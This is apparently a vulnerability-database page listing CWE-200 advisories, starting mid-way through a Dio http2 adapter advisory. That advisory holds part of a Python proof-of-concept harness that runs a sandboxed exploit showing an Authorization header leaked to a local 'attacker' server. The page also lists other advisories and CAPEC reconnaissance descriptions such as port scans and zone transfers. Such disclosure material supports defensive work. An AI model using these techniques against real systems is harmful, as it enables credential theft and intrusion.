120) -\u003e tuple[int, str, str]:\n \"\"\"\n Run the container and capture its output.\n\n Returns:\n (returncode, stdout, stderr)\n \"\"\"\n result = run(\n [\n \"docker\", \"run\",\n \"--rm\",\n \"--network\", \"none\", # no external network; loopback only\n tag,\n ],\n capture_output=True,\n text=True,\n timeout=timeout_sec,\n check=False,\n )\n return result.returncode, result.stdout, result.stderr\n\n\ndef parse_output(stdout: str, stderr: str) -\u003e dict:\n \"\"\"\n Parse structured key=value lines from the exploit\u0027s stdout.\n\n The Dart exploit writes lines like:\n RESULT=VULN_CONFIRMED\n LEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345\n EVIDENCE=...\n \"\"\"\n parsed = {}\n for line in stdout.splitlines():\n if \"=\" in line:\n key, _, val = line.partition(\"=\")\n parsed[key.strip()] = val.strip()\n return parsed\n\n\ndef write_result(data: dict) -\u003e None:\n with open(RESULT_FILE, \"w\", encoding=\"utf-8\") as f:\n json.dump(data, f, ensure_ascii=False, indent=2)\n print(f\"\\n[+] Result written to {RESULT_FILE}\")\n\n\ndef main() -\u003e int:\n parser = argparse.ArgumentParser(description=__doc__)\n parser.add_argument(\n \"--image-tag\", default=DEFAULT_IMAGE_TAG,\n help=f\"Docker image tag (default: {DEFAULT_IMAGE_TAG})\",\n )\n args = parser.parse_args()\n tag = args.image_tag\n\n build_cmd = (\n f\"docker build -f vuln-001/Dockerfile -t {tag} .\"\n )\n run_cmd = (\n f\"docker run --rm --network none {tag}\"\n )\n poc_cmd = (\n f\"cd {REPO_ROOT} \u0026\u0026 {build_cmd} \u0026\u0026 {run_cmd}\"\n )\n\n # \u2500\u2500 Step 1: Build \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(\"=\" * 70)\n print(\"STEP 1: Building Docker image\")\n print(\"=\" * 70)\n if not build_image(tag):\n result_data = {\n \"passed\": False,\n \"verdict\": \"FAIL\",\n \"reason\": \"Docker image build failed \u2014 dart pub get or source copy error\",\n \"build_command\": f\"cd {REPO_ROOT} \u0026\u0026 {build_cmd}\",\n \"run_command\": run_cmd,\n \"poc_command\": poc_cmd,\n \"evidence\": \"docker build non-zero exit code\",\n \"artifacts\": [\"Dockerfile\", \"poc_exploit.dart\", \"poc_pubspec.yaml\"],\n }\n write_result(result_data)\n return 2\n\n # \u2500\u2500 Step 2: Run exploit \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(\"\\n\" + \"=\" * 70)\n print(\"STEP 2: Running exploit container\")\n print(\"=\" * 70)\n\n try:\n returncode, stdout, stderr = run_container(tag)\n except subprocess.TimeoutExpired:\n result_data = {\n \"passed\": False,\n \"verdict\": \"INCOMPLETE\",\n \"reason\": \"Container execution did not complete within 120 seconds and was terminated due to timeout\",\n \"build_command\": f\"cd {REPO_ROOT} \u0026\u0026 {build_cmd}\",\n \"run_command\": run_cmd,\n \"poc_command\": poc_cmd,\n \"evidence\": \"subprocess.TimeoutExpired after 120 s\",\n \"artifacts\": [\"Dockerfile\", \"poc_exploit.dart\", \"poc_pubspec.yaml\"],\n }\n write_result(result_data)\n return 2\n\n print(\"\\n\u2500\u2500 Container STDOUT \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\")\n print(stdout or \"(empty)\")\n print(\"\u2500\u2500 Container STDERR \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\")\n print(stderr or \"(empty)\")\n print(\"\u2500\u2500 Exit code:\", returncode, \"\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\")\n\n # \u2500\u2500 Step 3: Evaluate results \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n parsed = parse_output(stdout, stderr)\n exploit_result = parsed.get(\"RESULT\", \"\")\n leaked_header = parsed.get(\"LEAKED_HEADER\", \"\")\n evidence_line = parsed.get(\"EVIDENCE\", \"\")\n\n if returncode == 0 and exploit_result == \"VULN_CONFIRMED\" and leaked_header:\n # Combine stdout + a snippet of stderr for the evidence field\n stderr_snippet = \"\\n\".join(\n line for line in stderr.splitlines()\n if any(tag in line for tag in (\"[ATTACKER]\", \"[RESULT]\", \"[EVIDENCE]\"))\n )[:1500]\n evidence = (\n f\"stdout: {stdout.strip()}\\n\\n\"\n f\"stderr (relevant):\\n{stderr_snippet}\"\n )\n result_data = {\n \"passed\": True,\n \"verdict\": \"PASS\",\n \"reason\": (\n \"dio_http2_adapter forwarded the original Authorization header verbatim \"\n \"to the attacker\u0027s server without stripping it when following a \"\n \"cross-origin 302 redirect. The attacker h2c server (127.0.0.1:18082) \"\n f\"received \u0027{leaked_header}\u0027.\"\n ),\n \"build_command\": f\"cd {REPO_ROOT} \u0026\u0026 {build_cmd}\",\n \"run_command\": run_cmd,\n \"poc_command\": poc_cmd,\n \"evidence\": evidence,\n \"artifacts\": [\n \"Dockerfile\",\n \"poc_exploit.dart\",\n \"poc_pubspec.yaml\",\n \"poc.py\",\n ],\n }\n write_result(result_data)\n print(\"\\n[PASS] VULN-001 reproduced successfully.\")\n return 0\n\n elif returncode == 1 or exploit_result == \"NOT_VULNERABLE\":\n result_data = {\n \"passed\": False,\n \"verdict\": \"FAIL\",\n \"reason\": (\n \"Container execution succeeded, but the attacker server did not \"\n \"receive the Authorization header. The vulnerability was not \"\n f\"reproduced in this environment. Parsed result: {parsed}\"\n ),\n \"build_command\": f\"cd {REPO_ROOT} \u0026\u0026 {build_cmd}\",\n \"run_command\": run_cmd,\n \"poc_command\": poc_cmd,\n \"evidence\": stdout + \"\\n\" + stderr,\n \"artifacts\": [\"Dockerfile\", \"poc_exploit.dart\", \"poc_pubspec.yaml\"],\n }\n write_result(result_data)\n print(\"\\n[FAIL] Vulnerability not reproduced.\")\n return 1\n\n else:\n # returncode == 2 or other unexpected failure\n result_data = {\n \"passed\": False,\n \"verdict\": \"INCOMPLETE\",\n \"reason\": (\n f\"Container execution failed or exited with an unexpected code {returncode}. \"\n \"Cause: h2c server startup error, network issue, or Dart runtime \"\n \"error. Check the stderr log and retry without --network none.\"\n ),\n \"build_command\": f\"cd {REPO_ROOT} \u0026\u0026 {build_cmd}\",\n \"run_command\": run_cmd,\n \"poc_command\": poc_cmd,\n \"evidence\": f\"exit={returncode}\\nstdout={stdout}\\nstderr={stderr}\",\n \"artifacts\": [\"Dockerfile\", \"poc_exploit.dart\", \"poc_pubspec.yaml\"],\n }\n write_result(result_data)\n print(f\"\\n[INCOMPLETE] Container exited with code {returncode}.\")\n return 2\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "GHSA-cr65-55v9-xhvv",
"modified": "2026-10-15T20:18:37Z",
"published": "2026-10-15T20:18:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cfug/dio/security/advisories/GHSA-cr65-55v9-xhvv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-103030"
},
{
"type": "WEB",
"url": "https://github.com/cfug/dio/commit/9d7ac913340084f3b4987b121e076f28d637a81e"
},
{
"type": "PACKAGE",
"url": "https://github.com/cfug/dio"
},
{
"type": "WEB",
"url": "https://github.com/cfug/dio/releases/tag/http2_adapter_v2.8.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Dio: Cross-origin redirect leaks sensitive request headers in `dio_http2_adapter`"
}
GHSA-CR68-36XQ-733G
Vulnerability from github – Published: 2022-04-30 18:23 – Updated: 2022-04-30 18:23Photon microGUI in QNX Neutrino realtime operating system (RTOS) 6.1.0 and 6.2.0 allows attackers to read user clipboard information via a direct request to the 1.TEXT file in a directory whose name is a hex-encoded user ID.
{
"affected": [],
"aliases": [
"CVE-2002-2409"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2002-12-31T05:00:00Z",
"severity": "LOW"
},
"details": "Photon microGUI in QNX Neutrino realtime operating system (RTOS) 6.1.0 and 6.2.0 allows attackers to read user clipboard information via a direct request to the 1.TEXT file in a directory whose name is a hex-encoded user ID.",
"id": "GHSA-cr68-36xq-733g",
"modified": "2022-04-30T18:23:08Z",
"published": "2022-04-30T18:23:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2002-2409"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2002-11/0267.html"
},
{
"type": "WEB",
"url": "http://www.iss.net/security_center/static/10658.php"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/6207"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-CR6M-Q4JQ-R64M
Vulnerability from github – Published: 2026-10-03 06:31 – Updated: 2026-10-03 18:31The MetForm WordPress plugin before 4.3.1 does not properly restrict access to a debug file it writes to the web root on every form submission when its HubSpot Forms integration is enabled, allowing unauthenticated attackers to read upstream API response data, including correlation identifiers and cookies.
{
"affected": [],
"aliases": [
"CVE-2026-86834"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-03T06:16:44Z",
"severity": "LOW"
},
"details": "The MetForm WordPress plugin before 4.3.1 does not properly restrict access to a debug file it writes to the web root on every form submission when its HubSpot Forms integration is enabled, allowing unauthenticated attackers to read upstream API response data, including correlation identifiers and cookies.",
"id": "GHSA-cr6m-q4jq-r64m",
"modified": "2026-10-03T18:31:02Z",
"published": "2026-10-03T06:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86834"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/a56b7e26-9070-4c38-bdc1-7289b5829638"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CR6P-23CF-W9G9
Vulnerability from github – Published: 2022-07-12 22:15 – Updated: 2022-07-21 14:59Overview
Affected versions have no limit to using unsafe-accessor. Can be ignored if SecurityCheck.AccessLimiter not setup
Details
If UA was loaded as a named module, the internal data of UA will be protected by JVM and others can only access UA via UA's standard api.
Main application can setup SecurityCheck.AccessLimiter for UA to limit accesses to UA.
Untrusted code can access UA without lmitation in affected versions even UA was loaded as a named module.
References
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.github.karlatemp:unsafe-accessor"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0"
},
{
"fixed": "1.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-31139"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-12T22:15:53Z",
"nvd_published_at": "2022-07-11T19:15:00Z",
"severity": "MODERATE"
},
"details": "### Overview\n\nAffected versions have no limit to using unsafe-accessor. Can be ignored if `SecurityCheck.AccessLimiter` not setup\n\n### Details\n\nIf UA was loaded as a named module, the internal data of UA will be protected by JVM and others can only access UA via UA\u0027s standard api.\nMain application can setup `SecurityCheck.AccessLimiter` for UA to limit accesses to UA.\nUntrusted code can access UA without lmitation in affected versions even UA was loaded as a named module.\n\n### References\n\n[The commit to fix](https://github.com/Karlatemp/UnsafeAccessor/commit/4ef83000184e8f13239a1ea2847ee401d81585fd)\n\n",
"id": "GHSA-cr6p-23cf-w9g9",
"modified": "2022-07-21T14:59:11Z",
"published": "2022-07-12T22:15:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Karlatemp/UnsafeAccessor/security/advisories/GHSA-cr6p-23cf-w9g9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31139"
},
{
"type": "WEB",
"url": "https://github.com/Karlatemp/UnsafeAccessor/commit/4ef83000184e8f13239a1ea2847ee401d81585fd"
},
{
"type": "PACKAGE",
"url": "https://github.com/Karlatemp/UnsafeAccessor"
},
{
"type": "WEB",
"url": "https://github.com/Karlatemp/UnsafeAccessor/releases/tag/1.7.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "UnsafeAccessor 1.4.0 until 1.7.0 has no security checking for UnsafeAccess.getInstance()"
}
GHSA-CR7J-93WJ-F4W3
Vulnerability from github – Published: 2022-05-24 17:10 – Updated: 2022-05-24 17:10An information disclosure vulnerability exists when Windows Error Reporting improperly handles file operations.To exploit this vulnerability, an attacker would first have to gain execution on the victim system, aka 'Windows Error Reporting Information Disclosure Vulnerability'.
{
"affected": [],
"aliases": [
"CVE-2020-0775"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-03-12T16:15:00Z",
"severity": "LOW"
},
"details": "An information disclosure vulnerability exists when Windows Error Reporting improperly handles file operations.To exploit this vulnerability, an attacker would first have to gain execution on the victim system, aka \u0027Windows Error Reporting Information Disclosure Vulnerability\u0027.",
"id": "GHSA-cr7j-93wj-f4w3",
"modified": "2022-05-24T17:10:54Z",
"published": "2022-05-24T17:10:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-0775"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0775"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-CR7P-V4GJ-9P32
Vulnerability from github – Published: 2025-11-03 15:30 – Updated: 2025-11-03 21:34An issue in Raspberry Pi Imager version 1.9.6 for Windows, affecting its OS customization feature. The imager's 'public-key authentication' setting unintentionally re-adds a user's id_rsa.pub key from their local Windows machine to the authorized_keys file on the Raspberry Pi, even after the user explicitly deletes the key from the user interface. This creates an unintended attack surface, as it could allow an attacker to use a different key than the intended one to login to the device.
{
"affected": [],
"aliases": [
"CVE-2025-60892"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-03T15:15:36Z",
"severity": "MODERATE"
},
"details": "An issue in Raspberry Pi Imager version 1.9.6 for Windows, affecting its OS customization feature. The imager\u0027s \u0027public-key authentication\u0027 setting unintentionally re-adds a user\u0027s id_rsa.pub key from their local Windows machine to the authorized_keys file on the Raspberry Pi, even after the user explicitly deletes the key from the user interface. This creates an unintended attack surface, as it could allow an attacker to use a different key than the intended one to login to the device.",
"id": "GHSA-cr7p-v4gj-9p32",
"modified": "2025-11-03T21:34:42Z",
"published": "2025-11-03T15:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60892"
},
{
"type": "WEB",
"url": "https://github.com/raspberrypi/rpi-imager/issues/1185"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CR8F-377Q-78WR
Vulnerability from github – Published: 2022-05-17 03:27 – Updated: 2022-05-17 03:27Apache Ambari before 2.1, as used in IBM Infosphere BigInsights 4.x before 4.1, includes cleartext passwords on a Configs screen, which allows physically proximate attackers to obtain sensitive information by reading password fields.
{
"affected": [],
"aliases": [
"CVE-2015-4928"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-11-08T22:59:00Z",
"severity": "MODERATE"
},
"details": "Apache Ambari before 2.1, as used in IBM Infosphere BigInsights 4.x before 4.1, includes cleartext passwords on a Configs screen, which allows physically proximate attackers to obtain sensitive information by reading password fields.",
"id": "GHSA-cr8f-377q-78wr",
"modified": "2022-05-17T03:27:23Z",
"published": "2022-05-17T03:27:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-4928"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg21969202"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1034102"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-CR8M-4W78-JXP2
Vulnerability from github – Published: 2022-05-14 01:45 – Updated: 2022-05-14 01:45An issue was discovered in GitLab Community and Enterprise Edition before 11.2.7, 11.3.x before 11.3.8, and 11.4.x before 11.4.3. It has Information Exposure Through Browser Caching.
{
"affected": [],
"aliases": [
"CVE-2018-18640"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-12-04T23:29:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in GitLab Community and Enterprise Edition before 11.2.7, 11.3.x before 11.3.8, and 11.4.x before 11.4.3. It has Information Exposure Through Browser Caching.",
"id": "GHSA-cr8m-4w78-jxp2",
"modified": "2022-05-14T01:45:26Z",
"published": "2022-05-14T01:45:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18640"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/2018/10/29/security-release-gitlab-11-dot-4-dot-3-released"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab-ce/issues/51423"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CR8P-GX5G-WJGH
Vulnerability from github – Published: 2026-02-27 03:30 – Updated: 2026-03-17 18:30Exposure of Sensitive Information to an Unauthorized Actor vulnerability in EFM-Networks, Inc. IpTIME T5008, EFM-Networks, Inc. IpTIME AX2004M, EFM-Networks, Inc. IpTIME AX3000Q, EFM-Networks, Inc. IpTIME AX6000M allows Authentication Bypass.This issue affects ipTIME T5008: through 15.26.8; ipTIME AX2004M: through 15.26.8; ipTIME AX3000Q: through 15.26.8; ipTIME AX6000M: through 15.26.8.
{
"affected": [],
"aliases": [
"CVE-2026-24498"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-27T02:16:19Z",
"severity": "MODERATE"
},
"details": "Exposure of Sensitive Information to an Unauthorized Actor vulnerability in EFM-Networks, Inc. IpTIME T5008, EFM-Networks, Inc. IpTIME AX2004M, EFM-Networks, Inc. IpTIME AX3000Q, EFM-Networks, Inc. IpTIME AX6000M allows Authentication Bypass.This issue affects ipTIME T5008: through 15.26.8; ipTIME AX2004M: through 15.26.8; ipTIME AX3000Q: through 15.26.8; ipTIME AX6000M: through 15.26.8.",
"id": "GHSA-cr8p-gx5g-wjgh",
"modified": "2026-03-17T18:30:31Z",
"published": "2026-02-27T03:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24498"
},
{
"type": "WEB",
"url": "https://iptime.com/iptime/?page_id=126\u0026dffid=1\u0026dfsid=15\u0026dftid=589\u0026uid=26901\u0026mod=document"
},
{
"type": "WEB",
"url": "https://www.boho.or.kr/kr/bbs/view.do?searchCnd=\u0026bbsId=B0000302\u0026searchWrd=\u0026menuNo=205023\u0026pageIndex=1\u0026categoryCode=\u0026nttId=71987"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-CR94-QHHF-H959
Vulnerability from github – Published: 2022-05-24 17:18 – Updated: 2022-05-24 17:18HUAWEI Mate 10 smartphones with versions earlier than 10.0.0.143(C00E143R2P4) have an information disclosure vulnerability. The attacker could wake up voice assistant then do a series of crafted voice operation, successful exploit could allow the attacker read certain files without unlock the phone leading to information disclosure.
{
"affected": [],
"aliases": [
"CVE-2020-1809"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-05-29T20:15:00Z",
"severity": "LOW"
},
"details": "HUAWEI Mate 10 smartphones with versions earlier than 10.0.0.143(C00E143R2P4) have an information disclosure vulnerability. The attacker could wake up voice assistant then do a series of crafted voice operation, successful exploit could allow the attacker read certain files without unlock the phone leading to information disclosure.",
"id": "GHSA-cr94-qhhf-h959",
"modified": "2022-05-24T17:18:50Z",
"published": "2022-05-24T17:18:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1809"
},
{
"type": "WEB",
"url": "https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20200527-01-smartphone-en"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-116: Excavation
An adversary actively probes the target in a manner that is designed to solicit information that could be leveraged for malicious purposes.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-169: Footprinting
An adversary engages in probing and exploration activities to identify constituents and properties of the target.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-224: Fingerprinting
An adversary compares output from a target system to known indicators that uniquely identify specific details about the target. Most commonly, fingerprinting is done to determine operating system and application versions. Fingerprinting can be done passively as well as actively. Fingerprinting by itself is not usually detrimental to the target. However, the information gathered through fingerprinting often enables an adversary to discover existing weaknesses in the target.
CAPEC-285: ICMP Echo Request Ping
An adversary sends out an ICMP Type 8 Echo Request, commonly known as a 'Ping', in order to determine if a target system is responsive. If the request is not blocked by a firewall or ACL, the target host will respond with an ICMP Type 0 Echo Reply datagram. This type of exchange is usually referred to as a 'Ping' due to the Ping utility present in almost all operating systems. Ping, as commonly implemented, allows a user to test for alive hosts, measure round-trip time, and measure the percentage of packet loss.
CAPEC-287: TCP SYN Scan
An adversary uses a SYN scan to determine the status of ports on the remote target. SYN scanning is the most common type of port scanning that is used because of its many advantages and few drawbacks. As a result, novice attackers tend to overly rely on the SYN scan while performing system reconnaissance. As a scanning method, the primary advantages of SYN scanning are its universality and speed.
CAPEC-290: Enumerate Mail Exchange (MX) Records
An adversary enumerates the MX records for a given via a DNS query. This type of information gathering returns the names of mail servers on the network. Mail servers are often not exposed to the Internet but are located within the DMZ of a network protected by a firewall. A side effect of this configuration is that enumerating the MX records for an organization my reveal the IP address of the firewall or possibly other internal systems. Attackers often resort to MX record enumeration when a DNS Zone Transfer is not possible.
CAPEC-291: DNS Zone Transfers
An attacker exploits a DNS misconfiguration that permits a ZONE transfer. Some external DNS servers will return a list of IP address and valid hostnames. Under certain conditions, it may even be possible to obtain Zone data about the organization's internal network. When successful the attacker learns valuable information about the topology of the target organization, including information about particular servers, their role within the IT structure, and possibly information about the operating systems running upon the network. This is configuration dependent behavior so it may also be required to search out multiple DNS servers while attempting to find one with ZONE transfers allowed.
CAPEC-292: Host Discovery
An adversary sends a probe to an IP address to determine if the host is alive. Host discovery is one of the earliest phases of network reconnaissance. The adversary usually starts with a range of IP addresses belonging to a target network and uses various methods to determine if a host is present at that IP address. Host discovery is usually referred to as 'Ping' scanning using a sonar analogy. The goal is to send a packet through to the IP address and solicit a response from the host. As such, a 'ping' can be virtually any crafted packet whatsoever, provided the adversary can identify a functional host based on its response. An attack of this nature is usually carried out with a 'ping sweep,' where a particular kind of ping is sent to a range of IP addresses.
CAPEC-293: Traceroute Route Enumeration
An adversary uses a traceroute utility to map out the route which data flows through the network in route to a target destination. Tracerouting can allow the adversary to construct a working topology of systems and routers by listing the systems through which data passes through on their way to the targeted machine. This attack can return varied results depending upon the type of traceroute that is performed. Traceroute works by sending packets to a target while incrementing the Time-to-Live field in the packet header. As the packet traverses each hop along its way to the destination, its TTL expires generating an ICMP diagnostic message that identifies where the packet expired. Traditional techniques for tracerouting involved the use of ICMP and UDP, but as more firewalls began to filter ingress ICMP, methods of traceroute using TCP were developed.
CAPEC-294: ICMP Address Mask Request
An adversary sends an ICMP Type 17 Address Mask Request to gather information about a target's networking configuration. ICMP Address Mask Requests are defined by RFC-950, "Internet Standard Subnetting Procedure." An Address Mask Request is an ICMP type 17 message that triggers a remote system to respond with a list of its related subnets, as well as its default gateway and broadcast address via an ICMP type 18 Address Mask Reply datagram. Gathering this type of information helps the adversary plan router-based attacks as well as denial-of-service attacks against the broadcast address.
CAPEC-295: Timestamp Request
This pattern of attack leverages standard requests to learn the exact time associated with a target system. An adversary may be able to use the timestamp returned from the target to attack time-based security algorithms, such as random number generators, or time-based authentication mechanisms.
CAPEC-296: ICMP Information Request
An adversary sends an ICMP Information Request to a host to determine if it will respond to this deprecated mechanism. ICMP Information Requests are a deprecated message type. Information Requests were originally used for diskless machines to automatically obtain their network configuration, but this message type has been superseded by more robust protocol implementations like DHCP.
CAPEC-297: TCP ACK Ping
An adversary sends a TCP segment with the ACK flag set to a remote host for the purpose of determining if the host is alive. This is one of several TCP 'ping' types. The RFC 793 expected behavior for a service is to respond with a RST 'reset' packet to any unsolicited ACK segment that is not part of an existing connection. So by sending an ACK segment to a port, the adversary can identify that the host is alive by looking for a RST packet. Typically, a remote server will respond with a RST regardless of whether a port is open or closed. In this way, TCP ACK pings cannot discover the state of a remote port because the behavior is the same in either case. The firewall will look up the ACK packet in its state-table and discard the segment because it does not correspond to any active connection. A TCP ACK Ping can be used to discover if a host is alive via RST response packets sent from the host.
CAPEC-298: UDP Ping
An adversary sends a UDP datagram to the remote host to determine if the host is alive. If a UDP datagram is sent to an open UDP port there is very often no response, so a typical strategy for using a UDP ping is to send the datagram to a random high port on the target. The goal is to solicit an 'ICMP port unreachable' message from the target, indicating that the host is alive. UDP pings are useful because some firewalls are not configured to block UDP datagrams sent to strange or typically unused ports, like ports in the 65K range. Additionally, while some firewalls may filter incoming ICMP, weaknesses in firewall rule-sets may allow certain types of ICMP (host unreachable, port unreachable) which are useful for UDP ping attempts.
CAPEC-299: TCP SYN Ping
An adversary uses TCP SYN packets as a means towards host discovery. Typical RFC 793 behavior specifies that when a TCP port is open, a host must respond to an incoming SYN "synchronize" packet by completing stage two of the 'three-way handshake' - by sending an SYN/ACK in response. When a port is closed, RFC 793 behavior is to respond with a RST "reset" packet. This behavior can be used to 'ping' a target to see if it is alive by sending a TCP SYN packet to a port and then looking for a RST or an ACK packet in response.
CAPEC-300: Port Scanning
An adversary uses a combination of techniques to determine the state of the ports on a remote target. Any service or application available for TCP or UDP networking will have a port open for communications over the network.
CAPEC-301: TCP Connect Scan
An adversary uses full TCP connection attempts to determine if a port is open on the target system. The scanning process involves completing a 'three-way handshake' with a remote port, and reports the port as closed if the full handshake cannot be established. An advantage of TCP connect scanning is that it works against any TCP/IP stack.
CAPEC-302: TCP FIN Scan
